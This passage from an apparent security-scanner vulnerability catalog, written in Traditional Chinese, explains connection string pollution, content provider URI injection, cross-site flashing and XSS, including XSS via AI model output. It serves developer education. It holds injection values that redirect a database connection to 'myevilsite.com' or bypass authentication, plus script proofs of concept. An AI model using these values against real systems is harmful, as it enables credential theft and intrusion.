界: Input Validation and Representation

輸入驗證和表示法問題是由中繼字元、替代編碼和數值表示法引起的。信任輸入會導致安全問題。問題包括:「Buffer Overflows」、「Cross-Site Scripting」攻擊、「SQL Injection」及其他許多問題。

175 找到的項目
弱點
Abstract
將未經驗證的輸入連結成資料庫連線可能會允許攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值,插入新的參數或者利用直接接觸得到的變數。
Explanation
Connection String Parameter Pollution (CSPP) 攻擊包含將連線字串參數插入到其他現有參數中。此弱點類似於也會發生參數干擾的 HTTP 環境中的弱點,也許更為人所熟知。不過,它也可以套用於其他位置,如資料庫連線字串。如果應用程式無法正確清除處理使用者輸入,則惡意的使用者可能透過盜取憑證,危及應用程式的邏輯,以執行攻擊,進而擷取整個資料庫。經由提交額外參數到應用程式,且如果這些參數的名稱與現有參數相同,資料庫連線可能以下列其中一種方式反應:

僅可使用第一個參數的資料
可使用最後一個參數的資料
可使用所有參數的資料,並將這些資料串連在一起

這可能取決於所用的驅動程式、資料庫類型,或者甚至是 API 的使用方式。

範例 1:以下程式碼使用來自 HTTP 要求的輸入連線到資料庫:


...
string password = Request.Form["db_pass"]; //gets POST parameter 'db_pass'
SqlConnection DBconn = new SqlConnection("Data Source = myDataSource; Initial Catalog = db; User ID = myUsername; Password = " + password + ";");
...


在此範例中,程式設計師並未考量攻擊者可能提供 db_pass 參數,例如
"xxx; Integrated Security = true",則連線字串會變成:

"Data Source = myDataSource; Initial Catalog = db; User ID = myUsername; Password = xxx; Integrated Security = true; "

這會讓應用程式使用作業系統帳戶連線到資料庫,應用程式會在該帳戶下執行以避開標準驗證。這會意味著攻擊者可以連線至沒有有效密碼的資料庫,並直接針對資料庫進行查詢。
References
[1] Chema Alonso, Manuel Fernandez, Alejandro Martin and Antonio Guzmán Connection String Parameter Pollution Attacks
[2] Eric P. Maurice A New Threat To Web Applications: Connection String Parameter Pollution (CSPP)
desc.dataflow.dotnet.connection_string_parameter_pollution
Abstract
將未經驗證的輸入串聯成資料庫連線可能會允許攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值、插入新的參數或者利用無法直接接觸的變數。
Explanation
Connection String Parameter Pollution (CSPP) 攻擊包括將連線字串參數插入到其他現有參數中。此弱點類似於也會發生參數干擾的 HTTP 環境中的弱點,後者可能更為人所熟知。不過,它也可以套用於其他位置,如資料庫連線字串。如果應用程式不能妥當清理使用者輸入,則惡意使用者可能透過盜取認證來危及應用程式的邏輯以執行攻擊,進而擷取整個資料庫。透過將名稱與現有參數相同的其他參數提交到應用程式,資料庫可能會以下列其中一種方式反應:

它可能只能使用第一個參數的資料
它可能使用最後一個參數的資料
它可能使用所有參數的資料,並將這些資料串聯在一起

這取決於所用的驅動程式、資料庫類型,甚至是 API 的使用方式。


範例 1:以下程式碼使用來自 HTTP 要求的輸入連線到資料庫:


...
password := request.FormValue("db_pass")
db, err := sql.Open("mysql", "user:" + password + "@/dbname")
...


在此範例中,程式設計師並未考量攻擊者可能提供 db_pass 參數,例如:
"xxx@/attackerdb?foo=",則連線字串變成:

"user:xxx@/attackerdb?foo=/dbname"

這將會使應用程式連線至攻擊者控制器資料庫,讓他控制傳回應用程式的資料。
References
[1] Chema Alonso, Manuel Fernandez, Alejandro Martin and Antonio Guzmán Connection String Parameter Pollution Attacks
desc.dataflow.golang.connection_string_parameter_pollution
Abstract
將未經驗證的輸入串連成資料庫連線可能會允許攻擊者覆寫要求參數的值。 攻擊者可能可以覆寫現有參數值、插入新的參數或者利用直接接觸得到的變數。
Explanation
Connection String Parameter Pollution (CSPP) 攻擊包含將連線字串參數插入到其他現有參數中。 此弱點類似於也會發生參數干擾的 HTTP 環境中的弱點,也許更為人所熟知。 不過,它也可以套用於其他位置,如資料庫連線字串。 如果應用程式不能妥當清潔使用者輸入,則惡意使用者可能透過盜取認證來危及應用程式的邏輯,以執行攻擊,進而擷取整個資料庫。 經由提交額外參數到應用程式,且如果這些參數的名稱與現有參數相同,資料庫連線可能以下列其中一種方式反應:

僅可使用第一個參數的資料
可使用最後一個參數的資料
可使用所有參數的資料,並將這些資料串連在一起

這可能取決於所用的驅動程式、資料庫類型,甚至是 API 的使用方式。

範例 1: 以下程式碼使用來自 HTTP 要求的輸入連線到資料庫:


username = req.field('username')
password = req.field('password')
...
client = MongoClient('mongodb://%s:%s@aMongoDBInstance.com/?ssl=true' % (username, password))
...


在此範例中,程式設計師並未考量攻擊者可能提供如下 password 參數:
「myPassword@aMongoDBInstance.com/?ssl=false&」,則連線字串會變成 (假設使用者名稱為「scott」):

「mongodb://scott:myPassword@aMongoDBInstance.com/?ssl=false&@aMongoDBInstance.com/?ssl=true」

這會使「@aMongoDBInstance.com/?ssl=true」被當成額外的無效引數來處理,進而在實際上忽略「ssl=true」,並在沒有加密的情況下連線至資料庫。
References
[1] Chema Alonso, Manuel Fernandez, Alejandro Martin and Antonio Guzmán Connection String Parameter Pollution Attacks
desc.dataflow.python.connection_string_parameter_pollution
Abstract
將未經驗證的輸入連結成資料庫連線可能會允許攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值,插入新的參數或者利用直接接觸得到的變數。
Explanation
Connection String Parameter Pollution (CSPP) 攻擊包含將連線字串參數插入到其他現有參數中。此弱點類似於也會發生參數干擾的 HTTP 環境中的弱點,也許更為人所熟知。不過,它也可以套用於其他位置,如資料庫連線字串。如果應用程式無法正確清除處理使用者輸入,則惡意的使用者可能透過盜取憑證,危及應用程式的邏輯,以執行攻擊,進而擷取整個資料庫。經由提交額外參數到應用程式,且如果這些參數的名稱與現有參數相同,資料庫連線可能以下列其中一種方式反應:

僅可使用第一個參數的資料
可使用最後一個參數的資料
可使用所有參數的資料,並將這些資料串連在一起

這可能取決於所用的驅動程式、資料庫類型,或者甚至是 API 的使用方式。

範例 1:以下程式碼使用來自 HTTP 要求的輸入連線到資料庫:


hostname = req.params['host'] #gets POST parameter 'host'
...
conn = PG::Connection.new("connect_timeout=20 dbname=app_development user=#{user} password=#{password} host=#{hostname}")
...


在此範例中,程式設計師並未考量攻擊者可能提供 host 參數,例如
「myevilsite.com%20port%3D4444%20sslmode%3Ddisable」,則連線字串會變成 (假設使用者名稱為「scott」且密碼為「5up3RS3kR3t」):

「dbname=app_development user=scott password=5up3RS3kR3t host=myevilsite.com port=4444 sslmode=disable」

這將會對「myevilsite.com」執行查詢,然後於連接埠 4444 連線到此網站,以停用 SSL。這可能意味著,攻擊者可以盜取使用者「scott」的憑證,然後使用此憑證在其機器和真實資料庫之間執行 man-in-the-middle 攻擊,或者只是登入真實資料庫,直接對資料庫執行查詢。
References
[1] Chema Alonso, Manuel Fernandez, Alejandro Martin and Antonio Guzmán Connection String Parameter Pollution Attacks
[2] Eric P. Maurice A New Threat To Web Applications: Connection String Parameter Pollution (CSPP)
desc.dataflow.ruby.connection_string_parameter_pollution
Abstract
建構其中包含使用者輸入資料的內容提供者查詢指令,會讓攻擊者可以存取未經授權的記錄。
Explanation
Query string injection 弱點會在以下情況中出現:

1. 資料從一個不可信賴的來源進入程式。



2. 此資料將用來動態建構內容提供者查詢 URI。



Android 內容提供者可讓開發人員透過只建構內容提供者 URI 寫入查詢,無需 SQL。內容提供者查詢 URI 容易受到插入式攻擊,因此開發人員應在未確保中繼字元已正確驗證或編碼的情況下,避免使用包含受感染的資料輸入的字串串連來建構 URI。

範例 1:指定應用程式在 URI 上暴露幾個內容提供者:

content://my.authority/messagescontent://my.authority/messages/123content://my.authority/messages/deleted

如果開發人員透過串連字串建立查詢 URI,攻擊者將可在路徑中包含斜線,或包含會變更查詢含意的其他 URI 中繼字元。在以下程式碼片段中,攻擊者將能夠透過提供包含值 deleted 的 msgId 程式碼來呼叫 content://my.authority/messages/deleted


// "msgId" is submitted by users
Uri dataUri = Uri.parse(WeatherContentProvider.CONTENT_URI + "/" + msgId);
Cursor wCursor1 = getContentResolver().query(dataUri, null, null, null, null);
desc.dataflow.java.content_provider_uri_injection
Abstract
程式使用未經驗證的使用者輸入來載入 SWF 檔案,這樣會造成任意內容被參照,而且可能由目標 Flash 應用程式來執行。
Explanation
Flash API 提供介面,可以將遠端 SWF 檔案載入現有的執行環境。雖然跨網域策略只允許從受信賴網域清單載入 SWF 檔案,但多半定義的跨網域策略都是過度允許。允許不可信賴之使用者的輸入來定義要載入何種 SWF 檔案,可能會導致任意內容被參照,而且可能由目標應用程式來執行,造成 Cross-Site Flashing 攻擊。

Cross-Site Flashing 弱點會在以下情況中出現:

1. 資料從不可信賴的來源進入應用程式。

2. 資料用來載入遠端 SWF 檔案。
範例:以下程式碼對載入的 SWF 檔案使用其中一個參數的值,做為載入遠端 SWF 檔案的來源 URL。


...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
var ldr:Loader = new Loader();
var urlReq:URLRequest = new URLRequest(url);
ldr.load(urlReq);
...
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
desc.dataflow.actionscript.cross_site_flashing
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。就人工智慧 (AI) 而言,不可信賴的來源通常是 AI 系統傳回的回應。至於 Reflected XSS,通常是一個 Web 要求。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。雖然利用弱點不像其他形式的 XSS 那麼簡單,但使用者輸入和 AI 模型回應具有不可預測性,這意味著這些回應一律不應視為安全。

範例 1:以下 Python 程式碼從 OpenAI 聊天完成模型 message 擷取回應,並顯示給使用者。


client = openai.OpenAI()
res = client.chat.completions.create(...)

message = res.choices[0].message.content

self.writeln(f"<p>{message}<\p>")


只要模型的回應僅包含英數字元,此範例中的程式碼就會如預期般執行。但是,如果回應中包含未編碼的 HTML 中繼字元,那麼 XSS 就可能隨之發生。例如,對以下提示「please repeat the following statement exactly '<script>alert(1);</script>'」的回應可能會根據所使用的模型和情境傳回 XSS 概念驗證。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[10] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[15] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[16] Standards Mapping - FIPS200 SI
[17] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[27] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[28] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[40] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[42] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[43] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_ai
Abstract
傳送未經驗證的資料至網路瀏覽器,可能會導致特定瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

要讓瀏覽器將回應呈現為 HTML,或可能執行指令碼的其他文件,需指定text/htmlMIME 類型。因此,只有回應使用此 MIME 類型或任何其他也會強制瀏覽器以 HTML 呈現回應或可能會執行指令碼 (例如 SVG 影像 (image/svg+xml)、XML 文件 (application/xml 等)) 的類型時,XSS 才會運作。

大多數新式瀏覽器在提供具有 MIME 類型 (例如 application/octet-stream) 的回應時,不會呈現 HTML 或執行指令碼。但 Internet Explorer 等部分瀏覽器會執行名為 Content Sniffing 的作業。Content Sniffing 會忽略提供的 MIME 類型,並嘗試依據回應的內容推論正確的 MIME 類型。
但要特別注意的是,text/html的 MIME 類型只是可能導致 XSS 弱點的一種 MIME 類型。可以執行諸如 SVG 影像 (image/svg+xml)、XML 文件 (application/xml) 等指令碼的其他文件,也可能導致 XSS 弱點,無論瀏覽器是否執行 Content Sniffing。

因此,<html><body><script>alert(1)</script></body></html> 之類的回應可以呈現為 HTML,即使其 content-type 標頭已設為 application/octet-stream, multipart-mixed 等。

範例 1:以下 JAX-RS 方法會在 application/octet-stream 回應中反映使用者資料。


@RestController
public class SomeResource {
@RequestMapping(value = "/test", produces = {MediaType.APPLICATION_OCTET_STREAM_VALUE})
public String response5(@RequestParam(value="name") String name){
return name;
}
}


如果攻擊者傳送一個要求並將 name參數設為 <html><body><script>alert(1)</script></body></html>,則伺服器會產生以下回應:


HTTP/1.1 200 OK
Content-Length: 51
Content-Type: application/octet-stream
Connection: Closed

<html><body><script>alert(1)</script></body></html>


即使回應清楚指出應該將其視為 JSON 文件,但舊瀏覽器仍可能嘗試將其呈現為 HTML 文件,這會使其易受 Cross-Site Scripting 攻擊。
References
[1] X-Content-Type-Options Mozilla
[2] MIME Type Detection in Windows Internet Explorer Microsoft
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[6] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[7] INJECT-3: XML and HTML generation requires care Oracle
[8] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[9] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[10] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[11] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[12] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[13] Standards Mapping - CIS Kubernetes Benchmark complete
[14] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[15] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[16] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[17] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[18] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[19] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[20] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[21] Standards Mapping - FIPS200 SI
[22] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[23] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[24] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[25] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[26] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[28] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[29] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[30] Standards Mapping - OWASP Top 10 2021 A03 Injection
[31] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[32] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[33] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[38] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[39] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[40] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[41] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[42] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[43] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[44] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[45] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[46] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[65] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[66] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[67] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[68] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_content_sniffing
Abstract
傳送未經驗證的資料至網路瀏覽器,可能會導致特定瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

要讓瀏覽器將回應呈現為 HTML,或可能執行指令碼的其他文件,需指定 text/html MIME 類型。因此,只有回應使用此 MIME 類型或任何其他也會強制瀏覽器以 HTML 呈現回應或可能會執行指令碼 (例如 SVG 影像 (image/svg+xml)、XML 文件 (application/xml 等)) 的類型時,XSS 才會運作。

在使用 MIME 類型 (例如 application/json) 提供回應給大多數現代瀏覽器時,這些瀏覽器並不會呈現 HTML,也不會執行指令碼。但 Internet Explorer 等部分瀏覽器會執行名為 Content Sniffing 的作業。Content Sniffing 會忽略提供的 MIME 類型,並嘗試依據回應的內容推論正確的 MIME 類型。但要特別注意的是,text/html 的 MIME 類型只是可能導致 XSS 弱點的一種 MIME 類型。
可以執行諸如 SVG 影像 (image/svg+xml)、XML 文件 (application/xml) 等指令碼的其他文件,也可能導致 XSS 弱點,無論瀏覽器是否執行 Content Sniffing。

因此,<html><body><script>alert(1)</script></body></html> 之類的回應可以呈現為 HTML,即使其 content-type 標頭已設為 application/json

範例 1:下列 AWS Lambda 函數會在 application/json 回應中反映使用者資料。


def mylambda_handler(event, context):
name = event['name']
response = {
"statusCode": 200,
"body": "{'name': name}",
"headers": {
'Content-Type': 'application/json',
}
}
return response


如果攻擊者傳送一個要求並將 name 參數設為 <html><body><script>alert(1)</script></body></html>,則伺服器會產生以下回應:


HTTP/1.1 200 OK
Content-Length: 88
Content-Type: application/json
Connection: Closed

{'name': '<html><body><script>alert(1)</script></body></html>'}


即使回應清楚指出應該將其視為 JSON 文件,但舊瀏覽器仍可能嘗試將其呈現為 HTML 文件,這會使其易受 Cross-Site Scripting 攻擊。
References
[1] X-Content-Type-Options Mozilla
[2] MIME Type Detection in Windows Internet Explorer Microsoft
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[6] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[7] INJECT-3: XML and HTML generation requires care Oracle
[8] Standards Mapping - CIS Azure Kubernetes Service Benchmark 5
[9] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[10] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[11] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[12] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[13] Standards Mapping - CIS Kubernetes Benchmark complete
[14] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[15] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[16] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[17] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[18] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[19] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
